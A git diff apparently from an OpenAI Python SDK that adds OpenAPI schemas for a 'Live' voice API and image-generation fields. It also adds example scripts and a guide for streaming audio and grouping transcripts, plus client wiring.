+ - session.delegation.created
+ offset_ms:
+ description: The position on the Live session timeline where the delegation was created, in milliseconds from the beginning of the session.
+ type: integer
+ delegation:
+ description: The delegated work identifier and destination. This object contains metadata, not the task text.
+ $ref: '#/components/schemas/LiveDelegationItem'
+ required:
+ - event_id
+ - type
+ - offset_ms
+ - delegation
+ x-oaiMeta:
+ example:
+ type: session.delegation.created
+ event_id: evt_delegation_001
+ offset_ms: 3600
+ delegation:
+ id: del_abc123
+ type: delegation
+ target: client
+ LiveResponseEvent:
+ description: A streaming Responses API event from a backend delegated to by the Live session. Use the outer delegation_id to associate the nested stream with its Live delegation.
+ example:
+ type: response.event
+ event_id: evt_response_002
+ delegation_id: del_responses123
+ event:
+ type: response.output_text.delta
+ item_id: msg_abc123
+ output_index: 0
+ content_index: 0
+ delta: An outdoor table is available at 7 PM.
+ sequence_number: 3
+ logprobs: []
+ type: object
+ properties:
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ type:
+ description: The event type, always `response.event`.
+ default: response.event
+ x-stainless-const: true
+ type: string
+ enum:
+ - response.event
+ delegation_id:
+ anyOf:
+ - description: The Live delegation associated with the nested Responses event. May be null or omitted when the event cannot be correlated with a delegation.
+ type: string
+ - type: 'null'
+ event:
+ description: The nested Responses streaming event. Dispatch on its type field. Response lifecycle snapshots omit input and clear instructions, tools, and output to keep messages small; consume granular output events for the generated content.
+ type: object
+ additionalProperties: {}
+ required:
+ - event_id
+ - type
+ - event
+ x-oaiMeta:
+ example:
+ type: response.event
+ event_id: evt_response_002
+ delegation_id: del_responses123
+ event:
+ type: response.output_text.delta
+ item_id: msg_abc123
+ output_index: 0
+ content_index: 0
+ delta: An outdoor table is available at 7 PM.
+ sequence_number: 3
+ logprobs: []
+ LiveSessionUsage:
+ description: Cumulative audio duration for a Live session. Values are totals for the session, not increments to sum across usage events.
+ type: object
+ properties:
+ seconds:
+ description: The cumulative Live audio duration in seconds. Do not sum this value across usage events.
+ type: number
+ required:
+ - seconds
+ LiveContextWindowUsage:
+ description: The latest measured context-window usage of the Live model. This is separate from billing usage and delegated Responses token usage.
+ type: object
+ properties:
+ usage_ratio:
+ description: The latest active context token count divided by the Live model context limit. Can decrease after compaction and may lag between measured audio frames.
+ type: number
+ required:
+ - usage_ratio
+ LiveSessionUsageUpdated:
+ description: Reports cumulative Live audio usage and, when available, the most recent context-window usage. Delegated Responses token usage is reported separately in response.event events.
+ example:
+ type: session.usage.updated
+ event_id: evt_usage_001
+ usage:
+ seconds: 32.5
+ context_window:
+ usage_ratio: 0.12
+ type: object
+ properties:
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ type:
+ description: The event type, always `session.usage.updated`.
+ default: session.usage.updated
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.usage.updated
+ usage:
+ description: The cumulative Live audio usage so far.
+ $ref: '#/components/schemas/LiveSessionUsage'
+ context_window:
+ description: The latest measured Live context-window usage. Omitted when the context limit is unknown.
+ $ref: '#/components/schemas/LiveContextWindowUsage'
+ required:
+ - event_id
+ - type
+ - usage
+ x-oaiMeta:
+ example:
+ type: session.usage.updated
+ event_id: evt_usage_001
+ usage:
+ seconds: 32.5
+ context_window:
+ usage_ratio: 0.12
+ LiveSessionClosed:
+ description: Returned after the Live session finishes finalizing, with the close reason, final session snapshot, and cumulative audio usage. A connection closing without this event does not confirm successful finalization.
+ example:
+ type: session.closed
+ event_id: evt_closed_001
+ client_event_id: evt_close_001
+ reason: close_requested
+ session:
+ id: live_abc123
+ model: gpt-live-1
+ status: active
+ expires_at: 1788555600
+ instructions: Help the caller plan a restaurant reservation. Confirm details before booking.
+ input: []
+ audio:
+ format:
+ type: audio/pcm
+ rate: 24000
+ output:
+ voice: marin
+ delegation:
+ type: client
+ usage:
+ seconds: 45.8
+ type: object
+ properties:
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ type:
+ description: The event type, always `session.closed`.
+ default: session.closed
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.closed
+ reason:
+ description: 'Why the Live session ended: `close_requested` for an application close or hangup request, `expired` for the session duration limit, `content` for a safety filter, `remote_hangup` for a graceful remote disconnect, or `connection_lost` for an unexpected primary or upstream disconnection.'
+ anyOf:
+ - default: close_requested
+ x-stainless-const: true
+ type: string
+ enum:
+ - close_requested
+ - default: expired
+ x-stainless-const: true
+ type: string
+ enum:
+ - expired
+ - default: content
+ x-stainless-const: true
+ type: string
+ enum:
+ - content
+ - default: remote_hangup
+ x-stainless-const: true
+ type: string
+ enum:
+ - remote_hangup
+ - default: connection_lost
+ x-stainless-const: true
+ type: string
+ enum:
+ - connection_lost
+ session:
+ $ref: '#/components/schemas/LiveSessionResourceParam'
+ usage:
+ description: The final cumulative Live audio usage after session finalization.
+ $ref: '#/components/schemas/LiveSessionUsage'
+ required:
+ - event_id
+ - type
+ - reason
+ - session
+ - usage
+ x-oaiMeta:
+ example:
+ type: session.closed
+ event_id: evt_closed_001
+ client_event_id: evt_close_001
+ reason: close_requested
+ session:
+ id: live_abc123
+ model: gpt-live-1
+ status: active
+ expires_at: 1788555600
+ instructions: Help the caller plan a restaurant reservation. Confirm details before booking.
+ input: []
+ audio:
+ format:
+ type: audio/pcm
+ rate: 24000
+ output:
+ voice: marin
+ delegation:
+ type: client
+ usage:
+ seconds: 45.8
+ LiveLiveError:
+ description: Details of an error encountered by the Live session, including the affected parameter or client command when available.
+ type: object
+ properties:
+ type:
+ description: The category of error, such as `invalid_request_error` for an invalid Live client command.
+ type: string
+ code:
+ description: A machine-readable code identifying the Live error, such as `unknown_parameter`.
+ type: string
+ message:
+ description: A human-readable explanation of the Live error.
+ type: string
+ param:
+ description: The parameter that caused the error, when applicable, such as `session.voice`.
+ type: string
+ client_event_id:
+ description: The event_id of the client command that caused the error, when supplied.
+ type: string
+ required:
+ - type
+ - code
+ - message
+ LiveErrorEvent:
+ description: Reports an error in the Live session, such as an invalid client command. Use error.client_event_id, when present, to identify the command that caused the error.
+ example:
+ type: error
+ event_id: evt_error_001
+ error:
+ type: invalid_request_error
+ code: unknown_parameter
+ message: 'Unknown parameter: ''session.voice''.'
+ param: session.voice
+ client_event_id: evt_invalid_001
+ type: object
+ properties:
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ type:
+ description: The event type, always `error`.
+ default: error
+ x-stainless-const: true
+ type: string
+ enum:
+ - error
+ error:
+ description: Details of the Live error and the client command that caused it, when known.
+ $ref: '#/components/schemas/LiveLiveError'
+ required:
+ - event_id
+ - type
+ - error
+ x-oaiMeta:
+ example:
+ type: error
+ event_id: evt_error_001
+ error:
+ type: invalid_request_error
+ code: unknown_parameter
+ message: 'Unknown parameter: ''session.voice''.'
+ param: session.voice
+ client_event_id: evt_invalid_001
+ LiveInfoEvent:
+ description: An informational notice about the Live session, such as the event permissions applied to a frontend data channel.
+ example:
+ type: info
+ event_id: evt_info_001
+ code: data_channel_permissions
+ message: The frontend data channel is configured with restricted event permissions.
+ type: object
+ properties:
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ type:
+ description: The event type, always `info`.
+ default: info
+ x-stainless-const: true
+ type: string
+ enum:
+ - info
+ code:
+ description: A machine-readable code for the notice, such as `data_channel_permissions`.
+ type: string
+ message:
+ description: A human-readable explanation of the Live session notice.
+ type: string
+ required:
+ - event_id
+ - type
+ - code
+ - message
+ x-oaiMeta:
+ example:
+ type: info
+ event_id: evt_info_001
+ code: data_channel_permissions
+ message: The frontend data channel is configured with restricted event permissions.
+ LiveTransportDTMFReceived:
+ description: A SIP DTMF keypress received from the caller. Delivered only to sideband observers.
+ example:
+ type: transport.dtmf.received
+ event_id: event_dtmf_1
+ event: '5'
+ type: object
+ properties:
+ type:
+ default: transport.dtmf.received
+ x-stainless-const: true
+ type: string
+ enum:
+ - transport.dtmf.received
+ event_id:
+ type: string
+ event:
+ type: string
+ minLength: 1
+ maxLength: 1
+ pattern: ^[0-9A-D*#]$
+ required:
+ - type
+ - event_id
+ - event
+ x-oaiMeta:
+ example:
+ type: transport.dtmf.received
+ event_id: event_dtmf_1
+ event: '5'
+ LiveTransportDTMFSend:
+ description: A SIP DTMF keypress successfully sent by the hosted tool. Delivered only to sideband observers; this is not a client command.
+ example:
+ type: transport.dtmf.send
+ event_id: event_dtmf_2
+ event: '#'
+ type: object
+ properties:
+ type:
+ default: transport.dtmf.send
+ x-stainless-const: true
+ type: string
+ enum:
+ - transport.dtmf.send
+ event_id:
+ type: string
+ event:
+ type: string
+ minLength: 1
+ maxLength: 1
+ pattern: ^[0-9A-D*#]$
+ required:
+ - type
+ - event_id
+ - event
+ x-oaiMeta:
+ example:
+ type: transport.dtmf.send
+ event_id: event_dtmf_2
+ event: '#'
+ LiveTransportRinging:
+ description: The outbound SIP provider leg is ringing or providing early media. Delivered only to sideband observers.
+ example:
+ type: transport.ringing
+ event_id: event_call_1
+ session_id: live_u0_123
+ type: object
+ properties:
+ event_id:
+ type: string
+ session_id:
+ description: The canonical Live session ID.
+ type: string
+ type:
+ default: transport.ringing
+ x-stainless-const: true
+ type: string
+ enum:
+ - transport.ringing
+ required:
+ - event_id
+ - session_id
+ - type
+ x-oaiMeta:
+ example:
+ type: transport.ringing
+ event_id: event_call_1
+ session_id: live_u0_123
+ LiveTransportAnswered:
+ description: The outbound SIP provider leg answered and media is established. Delivered only to sideband observers.
+ example:
+ type: transport.answered
+ event_id: event_call_2
+ session_id: live_u0_123
+ type: object
+ properties:
+ event_id:
+ type: string
+ session_id:
+ description: The canonical Live session ID.
+ type: string
+ type:
+ default: transport.answered
+ x-stainless-const: true
+ type: string
+ enum:
+ - transport.answered
+ required:
+ - event_id
+ - session_id
+ - type
+ x-oaiMeta:
+ example:
+ type: transport.answered
+ event_id: event_call_2
+ session_id: live_u0_123
+ LiveTransportCallError:
+ type: object
+ properties:
+ type:
+ default: call_error
+ x-stainless-const: true
+ type: string
+ enum:
+ - call_error
+ code:
+ description: The call setup failure code.
+ type: string
+ message:
+ type: string
+ param:
+ description: The parameter related to the error, if any. Empty when no parameter applies.
+ type: string
+ required:
+ - type
+ - code
+ - message
+ LiveTransportFailed:
+ description: An asynchronous outbound SIP setup failure. Delivered only to sideband observers.
+ example:
+ type: transport.failed
+ event_id: event_call_4
+ session_id: live_u0_123
+ error:
+ type: call_error
+ code: provider_invite_failed
+ message: provider rejected the call
+ param: ''
+ type: object
+ properties:
+ event_id:
+ type: string
+ session_id:
+ description: The canonical Live session ID.
+ type: string
+ type:
+ default: transport.failed
+ x-stainless-const: true
+ type: string
+ enum:
+ - transport.failed
+ error:
+ $ref: '#/components/schemas/LiveTransportCallError'
+ required:
+ - event_id
+ - session_id
+ - type
+ - error
+ x-oaiMeta:
+ example:
+ type: transport.failed
+ event_id: event_call_4
+ session_id: live_u0_123
+ error:
+ type: call_error
+ code: provider_invite_failed
+ message: provider rejected the call
+ param: ''
+ LiveServerEvent-2:
+ description: An event sent by the Live API on a primary WebSocket or sideband connection.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveSessionStarted'
+ - $ref: '#/components/schemas/LiveSessionUpdated'
+ - $ref: '#/components/schemas/LiveInputAudioMuted'
+ - $ref: '#/components/schemas/LiveInputAudioUnmuted'
+ - $ref: '#/components/schemas/LiveInstructionsAppended'
+ - $ref: '#/components/schemas/LiveThinkingAppended'
+ - $ref: '#/components/schemas/LiveCommentaryAppended'
+ - $ref: '#/components/schemas/LiveInputAudioAppend'
+ - $ref: '#/components/schemas/LiveOutputAudioDelta'
+ - $ref: '#/components/schemas/LiveInputTranscriptDelta'
+ - $ref: '#/components/schemas/LiveOutputTranscriptDelta'
+ - $ref: '#/components/schemas/LiveDelegationCreated'
+ - $ref: '#/components/schemas/LiveResponseEvent'
+ - $ref: '#/components/schemas/LiveSessionUsageUpdated'
+ - $ref: '#/components/schemas/LiveSessionClosed'
+ - $ref: '#/components/schemas/LiveErrorEvent'
+ - $ref: '#/components/schemas/LiveInfoEvent'
+ - $ref: '#/components/schemas/LiveTransportDTMFReceived'
+ - $ref: '#/components/schemas/LiveTransportDTMFSend'
+ - $ref: '#/components/schemas/LiveTransportRinging'
+ - $ref: '#/components/schemas/LiveTransportAnswered'
+ - $ref: '#/components/schemas/LiveTransportFailed'
UserMessageItemParam:
properties:
id:
@@ -71856,27 +74792,21 @@ components:
title: Code interpreter output logs
description: The logs output from the code interpreter.
BetaImageGenToolCall:
- type: object
- title: Image generation call
- description: |
- An image generation request made by the model.
properties:
agent:
anyOf:
- $ref: '#/components/schemas/BetaAgentTag'
+ description: The agent that produced this item.
- type: 'null'
- description: The agent that produced this item.
type:
type: string
enum:
- image_generation_call
- description: |
- The type of the image generation call. Always `image_generation_call`.
+ description: The type of the image generation call. Always `image_generation_call`.
x-stainless-const: true
id:
type: string
- description: |
- The unique ID of the image generation call.
+ description: The unique ID of the image generation call.
status:
type: string
enum:
@@ -71884,24 +74814,23 @@ components:
- completed
- generating
- failed
- description: |
- The status of the image generation call.
+ description: The status of the image generation call.
result:
anyOf:
- type: string
- description: |
- The generated image encoded in base64.
+ description: The generated image encoded in base64.
- type: 'null'
size:
anyOf:
- - type: string
- - type: string
- enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
+ - anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
- type: 'null'
- description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
quality:
anyOf:
- type: string
@@ -71912,13 +74841,51 @@ components:
- xhigh
- max
- auto
+ description: The quality of the image generated by the image generation tool call. One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
- type: 'null'
- description: The quality of the image generated by the image generation tool call. One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ action:
+ anyOf:
+ - $ref: '#/components/schemas/BetaImageGenActionEnum'
+ description: The action used for image generation.
+ - type: 'null'
+ x-openai-go-optional-enum: true
+ background:
+ anyOf:
+ - $ref: '#/components/schemas/BetaImageBackground'
+ description: The background setting used for generation.
+ - type: 'null'
+ x-openai-go-optional-enum: true
+ output_format:
+ anyOf:
+ - $ref: '#/components/schemas/BetaImageOutputFormat'
+ description: The output format used for generation.
+ - type: 'null'
+ x-openai-go-optional-enum: true
+ revised_prompt:
+ anyOf:
+ - type: string
+ description: The prompt that was used after any model prompt rewriting.
+ - type: 'null'
+ type: object
required:
- type
- id
- status
- result
+ title: Image generation call
+ description: An image generation request made by the model.
+ BetaImageOutputFormat:
+ type: string
+ enum:
+ - png
+ - webp
+ - jpeg
+ BetaImageBackground:
+ type: string
+ enum:
+ - transparent
+ - opaque
+ - auto
BetaCompactionSummaryItemParam:
properties:
agent:
@@ -81183,6 +84150,32 @@ components:
- gpt-3.5-turbo-0125
- gpt-3.5-turbo-16k-0613
x-stainless-nominal: false
+ LiveBuiltInVoice:
+ type: string
+ enum:
+ - alloy
+ - ash
+ - ballad
+ - beacon
+ - bossa
+ - cedar
+ - cinder
+ - coral
+ - delta
+ - echo
+ - gleam
+ - marin
+ - meridian
+ - quartz
+ - ripple
+ - sage
+ - shimmer
+ - stone
+ - tempo
+ - verse
+ - vesper
+ - willow
+ description: A built-in voice available for Live speech.
Summary:
properties:
type:
@@ -81586,6 +84579,8 @@ x-oaiMeta:
beta: true
- id: containers
title: Containers
+ - id: live
+ title: Live (alpha)
- id: realtime
title: Realtime
- id: chat
@@ -82007,6 +85002,9 @@ x-oaiMeta:
- type: object
key: WebhookLiveCallIncoming
path:
+ - type: object
+ key: WebhookLiveTransportIncoming
+ path:
- type: object
key: WebhookSafetyAlertCreated
path:
@@ -82448,3 +85446,97 @@ x-oaiMeta:
- type: object
key: RealtimeBetaServerEventRateLimitsUpdated
path:
+ - id: live-client-events
+ title: Client events
+ description: Initialize a primary WebSocket with session.start and wait for session.started before sending other events. WebRTC creation starts the session for you. Start with the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) to design frontend instructions and delegation policy; see [backend prompting](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt) for tools and business rules.
+ navigationGroup: live
+ sections:
+ - type: object
+ key: LiveSessionStartEvent
+ path:
+ - type: object
+ key: LiveForkSessionStartEvent
+ path:
+ - type: object
+ key: LiveSessionUpdateParam
+ path:
+ - type: object
+ key: LiveInputAudioAppendEvent
+ path:
+ - type: object
+ key: LiveInputAudioMuteParam
+ path:
+ - type: object
+ key: LiveInputAudioUnmuteParam
+ path:
+ - type: object
+ key: LiveInstructionsAppendParam
+ path:
+ - type: object
+ key: LiveThinkingAppendParam
+ path:
+ - type: object
+ key: LiveCommentaryAppendParam
+ path:
+ - type: object
+ key: LiveResponseItemCreateParam
+ path:
+ - type: object
+ key: LiveResponseCreateParam
+ path:
+ - type: object
+ key: LiveSessionCloseParam
+ path:
+ - id: live-server-events
+ title: Server events
+ description: Live server events. Responses delegation lifecycle events arrive inside response.event, not as top-level response events. Start with the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) to design frontend instructions and delegation policy; see [backend prompting](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt) for tools and business rules.
+ navigationGroup: live
+ sections:
+ - type: object
+ key: LiveSessionStarted
+ path:
+ - type: object
+ key: LiveSessionUpdated
+ path:
+ - type: object
+ key: LiveInputAudioMuted
+ path:
+ - type: object
+ key: LiveInputAudioUnmuted
+ path:
+ - type: object
+ key: LiveInstructionsAppended
+ path:
+ - type: object
+ key: LiveThinkingAppended
+ path:
+ - type: object
+ key: LiveCommentaryAppended
+ path:
+ - type: object
+ key: LiveOutputAudioDelta
+ path:
+ - type: object
+ key: LiveInputTranscriptDelta
+ path:
+ - type: object
+ key: LiveOutputTranscriptDelta
+ path:
+ - type: object
+ key: LiveDelegationCreated
+ path:
+ - type: object
+ key: LiveResponseEvent
+ path:
+ - type: object
+ key: LiveSessionUsageUpdated
+ path:
+ - type: object
+ key: LiveSessionClosed
+ path:
+ - type: object
+ key: LiveErrorEvent
+ path:
+ - type: object
+ key: LiveInfoEvent
+ path:
diff --git a/examples/live/audio_transcript.py b/examples/live/audio_transcript.py
new file mode 100644
index 0000000000..ce952ee343
--- /dev/null
+++ b/examples/live/audio_transcript.py
@@ -0,0 +1,89 @@
+"""Stream a mono PCM WAV to Live and print grouped user/assistant transcripts.
+
+Run with OPENAI_API_KEY in the environment:
+ python examples/live/audio_transcript.py speech.wav
+
+Use a 16-bit mono WAV recorded at 24 kHz. Audio is paced in real time. This
+example sends silence after the recording so the assistant can finish replying.
+"""
+
+from __future__ import annotations
+
+import os
+import wave
+import base64
+import asyncio
+import argparse
+from pathlib import Path
+
+from openai import AsyncOpenAI, OpenAIError
+from openai.lib.live import TranscriptSegment, AsyncTranscriptGrouper
+
+
+def read_audio(path: Path) -> bytes:
+ with wave.open(str(path), "rb") as source:
+ if (source.getnchannels(), source.getsampwidth(), source.getframerate()) != (1, 2, 24000):
+ raise ValueError("Expected a mono, 16-bit, 24000 Hz PCM WAV")
+ return source.readframes(source.getnframes())
+
+
+async def run(path: Path, *, model: str, listen_seconds: float = 15) -> list[TranscriptSegment]:
+ audio = read_audio(path)
+ segments: dict[str, TranscriptSegment] = {}
+
+ def render(segment: TranscriptSegment) -> None:
+ segments[segment.id] = segment
+ print(f"{segment.speaker}: {segment.text}")
+
+ async with AsyncOpenAI() as client, AsyncTranscriptGrouper(backchannel_max_duration_ms=0) as transcript:
+ transcript.on("segment.updated", render)
+ async with client.live.connect(max_retries=0) as connection:
+ await connection.session.start(
+ session={
+ "model": model,
+ "audio": {"format": {"type": "audio/pcm", "rate": 24000}},
+ "instructions": "Respond briefly and naturally to the user.",
+ }
+ )
+ while True:
+ event = await asyncio.wait_for(connection.recv(), timeout=30)
+ if event.type == "error":
+ raise OpenAIError("Live rejected session startup; inspect your model access and configuration")
+ if event.type == "session.started":
+ break
+
+ async def receive() -> None:
+ async for event in connection:
+ if event.type == "error":
+ raise OpenAIError("Live returned an error while processing the audio")
+ await transcript.push(event)
+ if event.type == "session.closed":
+ return
+
+ receiver = asyncio.create_task(receive())
+ try:
+ # Twenty milliseconds of signed little-endian PCM16 per message.
+ chunk_bytes = 24000 * 2 // 50
+ samples = audio + bytes(int(listen_seconds * 24000 * 2))
+ for offset in range(0, len(samples), chunk_bytes):
+ if receiver.done():
+ await receiver
+ break
+ chunk = samples[offset : offset + chunk_bytes]
+ await connection.session.input_audio.append(audio=base64.b64encode(chunk).decode("ascii"))
+ await asyncio.sleep(len(chunk) / (24000 * 2))
+ if receiver.done():
+ await receiver
+ await transcript.close()
+ finally:
+ receiver.cancel()
+ await asyncio.gather(receiver, return_exceptions=True)
+ return list(segments.values())
+
+
+if __name__ == "__main__":
+ parser = argparse.ArgumentParser(description=__doc__)
+ parser.add_argument("audio", type=Path)
+ parser.add_argument("--model", default=os.environ.get("OPENAI_LIVE_MODEL", "gpt-live-1"))
+ args = parser.parse_args()
+ asyncio.run(run(args.audio, model=args.model))
diff --git a/examples/live/transcript_grouper.md b/examples/live/transcript_grouper.md
new file mode 100644
index 0000000000..c4adec32d8
--- /dev/null
+++ b/examples/live/transcript_grouper.md
@@ -0,0 +1,99 @@
+# Live transcript grouping
+
+`TranscriptGrouper` groups public Live transcript fragments into user and assistant
+display segments. Its grouping policy matches the TypeScript SDK helper. It does
+not infer server turns, detect speech, or track audio playback.
+
+```python
+from openai.lib.live import TranscriptGrouper
+
+with TranscriptGrouper() as transcript:
+ transcript.on("segment.updated", render_segment)
+ transcript.on("segment.closed", finalize_segment)
+ for event in connection:
+ transcript.push(event)
+```
+
+For an asyncio Live connection, use the asynchronous wrapper. Its callbacks may
+be synchronous functions or async functions; async callbacks are awaited in order.
+
+```python
+from openai.lib.live import AsyncTranscriptGrouper
+
+async with AsyncTranscriptGrouper() as transcript:
+ transcript.on("segment.updated", render_segment)
+ transcript.on("segment.closed", finalize_segment)
+ async for event in connection:
+ await transcript.push(event)
+```
+
+Both wrappers also support `@transcript.on("segment.updated")`, `once`, and `off`.
+Each update is a frozen `TranscriptSegment` containing `id`, `previous_id`,
+`speaker`, `text`, `start_ms`, and `end_ms`. Replace the bubble's displayed text
+with `segment.text`; each update contains the complete, append-only text, not a
+delta. A closed event contains the final snapshot as `event.segment` and its local
+decision as `event.reason`: `speaker_change`, `inactivity`, `timestamp_reset`,
+`session_closed`, or `manual`. Closed segments never reopen.
+
+IDs are local to the helper, not server turn/item IDs. `previous_id` links the
+previous emitted segment. Transcript times remain session milliseconds from the
+public events. A segment closing does not mean its audio has finished playing.
+
+## Timing and lifecycle
+
+Create one grouper per session and close it on disconnect. Context managers close
+the grouper on exit, including on exceptions. `close()` is idempotent, flushes
+buffered text according to the grouping policy, finalizes emitted segments, and
+cancels timers. It never closes or reconnects the underlying transport.
+`push()` after closure raises `OpenAIError`.
+
+Only `session.input_transcript.delta`, `session.output_transcript.delta`, and `session.closed`
+drive grouping. Other events are ignored. Duplicate transcript event IDs and empty
+text do not restart inactivity. Malformed transcript fields raise `OpenAIError`.
+Keep the raw event stream separately when a lossless transcript is required:
+the default policy can suppress brief overlapping acknowledgments such as “mhm”.
+
+Constructor options are milliseconds and preserve the TypeScript defaults:
+
+| Option | Default |
+| --- | --- |
+| `min_turn_separation_ms` | 500 |
+| `assistant_silence_ms` | 2000 |
+| `backchannel_max_duration_ms` | 1000 |
+| `backchannel_isolation_ms` | 2000 |
+
+Set `backchannel_max_duration_ms=0` to disable acknowledgment suppression. `None`
+uses the default; explicit zero is retained. Values must be finite and between
+zero and 2,147,483,647. Ambiguous speaker changes settle for at most 50 ms.
+Source timestamps take precedence; a monotonic local clock supplies inactivity
+fallback when no more transcript events arrive. Delivery delays can affect the
+projection. User segments do not close from inactivity alone.
+
+The synchronous helper serializes callbacks but may deliver timer-triggered
+callbacks on a daemon timer thread. Applications should marshal UI work to their
+UI thread. Callbacks run outside its state lock and may close the grouper; callbacks
+already running finish in order. Callback exceptions propagate to the calling
+`push()`/`close()`, or to `threading.excepthook` for timer-triggered callbacks.
+
+The asynchronous helper belongs to the asyncio loop where it is first used;
+all callbacks run on that loop. Timer-triggered callback errors go to the loop's
+exception handler. Use `await transcript.close()` or `async with` for cleanup.
+Cancelling a task waiting on `push()` or `close()` does not cancel notification
+delivery already in progress. Call `close()` again to await cleanup if necessary.
+
+## Offline example
+
+Run `python examples/live/transcript_grouper.py` in the SDK development environment.
+It replays synthetic transcript events and prints segment updates without making
+API calls, using an API key, or playing audio.
+
+## Live audio examples
+
+With `OPENAI_API_KEY` set, run `python examples/live/audio_transcript.py speech.wav`
+to send a 24 kHz, 16-bit mono PCM recording through the primary WebSocket. It
+waits for `session.started`, paces audio in real time, and prints grouped user and
+assistant transcripts. `--model` or `OPENAI_LIVE_MODEL` selects a different model.
+
+For browser audio, your backend can exchange the SDP with `client.live.create`
+and attach `client.live.sideband.connect(session_id=result.session.id)` before
+returning the SDP answer. Feed sideband events into the same transcript grouper.
diff --git a/examples/live/transcript_grouper.py b/examples/live/transcript_grouper.py
new file mode 100644
index 0000000000..af1c014529
--- /dev/null
+++ b/examples/live/transcript_grouper.py
@@ -0,0 +1,55 @@
+"""Replay synthetic transcript events; no API key, network or audio is required."""
+
+from openai.lib.live import TranscriptGrouper, TranscriptSegment, TranscriptSegmentClosedEvent
+from openai.types.live import ServerEvent, InputTranscriptDeltaEvent, OutputTranscriptDeltaEvent
+
+
+def render(segment: TranscriptSegment) -> None:
+ # Replace the bubble's complete text rather than appending this snapshot.
+ print(f"{segment.id} [{segment.speaker}]: {segment.text}")
+
+
+def finalize(event: TranscriptSegmentClosedEvent) -> None:
+ print(f"{event.segment.id} closed: {event.reason}")
+
+
+def main() -> None:
+ events: list[ServerEvent] = [
+ InputTranscriptDeltaEvent(
+ type="session.input_transcript.delta",
+ start_ms=0,
+ end_ms=200,
+ event_id="user-1",
+ delta="Tell me",
+ ),
+ OutputTranscriptDeltaEvent(
+ type="session.output_transcript.delta",
+ start_ms=200,
+ end_ms=400,
+ event_id="assistant-1",
+ delta="mhm",
+ ),
+ InputTranscriptDeltaEvent(
+ type="session.input_transcript.delta",
+ start_ms=800,
+ end_ms=1000,
+ event_id="user-2",
+ delta="more",
+ ),
+ OutputTranscriptDeltaEvent(
+ type="session.output_transcript.delta",
+ start_ms=2000,
+ end_ms=2400,
+ event_id="assistant-2",
+ delta="Here is the answer.",
+ ),
+ ]
+ with TranscriptGrouper() as grouper:
+ grouper.on("segment.updated", render)
+ grouper.on("segment.closed", finalize)
+ for event in events:
+ grouper.push(event)
+
+
+if __name__ == "__main__":
+ main()
diff --git a/scripts/castiron/test_custom_code_report.py b/scripts/castiron/test_custom_code_report.py
index ab53d1f3b0..e9b47ade40 100644
--- a/scripts/castiron/test_custom_code_report.py
+++ b/scripts/castiron/test_custom_code_report.py
@@ -434,9 +434,7 @@ def test_trusted_report_recomputes_pr_output_in_a_bare_repository(self) -> None:
self.write("generated.py", "generated\n# custom\n")
# Neither a replacement reporter nor its claimed result may be executed
# or read by the trusted job.
- self.write(
- "scripts/castiron/custom_code_report.py", "raise RuntimeError('PR code ran')\n"
- )
+ self.write("scripts/castiron/custom_code_report.py", "raise RuntimeError('PR code ran')\n")
self.write("report.json", json.dumps(legitimate))
head = self.commit()
broken_stats = (
@@ -485,9 +483,7 @@ def local_git(repo: Path, *args: str, input_bytes: bytes | None = None) -> bytes
producer.mkdir()
(producer / "report.json").write_text(json.dumps(forged))
- def fake_api(
- method: str, path: str, payload: dict[str, Any] | None = None
- ) -> Any:
+ def fake_api(method: str, path: str, payload: dict[str, Any] | None = None) -> Any:
calls.append((method, path))
if method == "GET":
responses: dict[str, Any] = {
@@ -930,7 +926,9 @@ def test_comment_rejects_older_runs_attempts_and_wrong_pr(self) -> None:
)
self.assertEqual(api.call_count, 3)
with (
- mock.patch.object(report, "api", side_effect=[pull, {**run, "pull_requests": []}, [], []]),
+ mock.patch.object(
+ report, "api", side_effect=[pull, {**run, "pull_requests": []}, [], []]
+ ),
self.assertRaisesRegex(report.ReportError, "does not match report PR"),
):
report.publish_comment(result, "openai/example", 1, 2, 2)
diff --git a/src/openai/__init__.py b/src/openai/__init__.py
index a1d950d3b4..d835529204 100644
--- a/src/openai/__init__.py
+++ b/src/openai/__init__.py
@@ -445,6 +445,7 @@ def _reset_client() -> None: # type: ignore[reportUnusedFunction]
from ._module_client import (
beta as beta,
chat as chat,
+ live as live,
admin as admin,
audio as audio,
evals as evals,
diff --git a/src/openai/_client.py b/src/openai/_client.py
index fa578a0781..1432730c0f 100644
--- a/src/openai/_client.py
+++ b/src/openai/_client.py
@@ -57,6 +57,7 @@
from .resources import (
beta,
chat,
+ live,
admin,
audio,
evals,
@@ -86,6 +87,7 @@
from .resources.batches import Batches, AsyncBatches
from .resources.beta.beta import Beta, AsyncBeta
from .resources.chat.chat import Chat, AsyncChat
+ from .resources.live.live import Live, AsyncLive
from .resources.embeddings import Embeddings, AsyncEmbeddings
from .resources.admin.admin import Admin, AsyncAdmin
from .resources.audio.audio import Audio, AsyncAudio
@@ -476,6 +478,12 @@ def responses(self) -> Responses:
return Responses(self)
+ @cached_property
+ def live(self) -> Live:
+ from .resources.live import Live
+
+ return Live(self)
+
@cached_property
def realtime(self) -> Realtime:
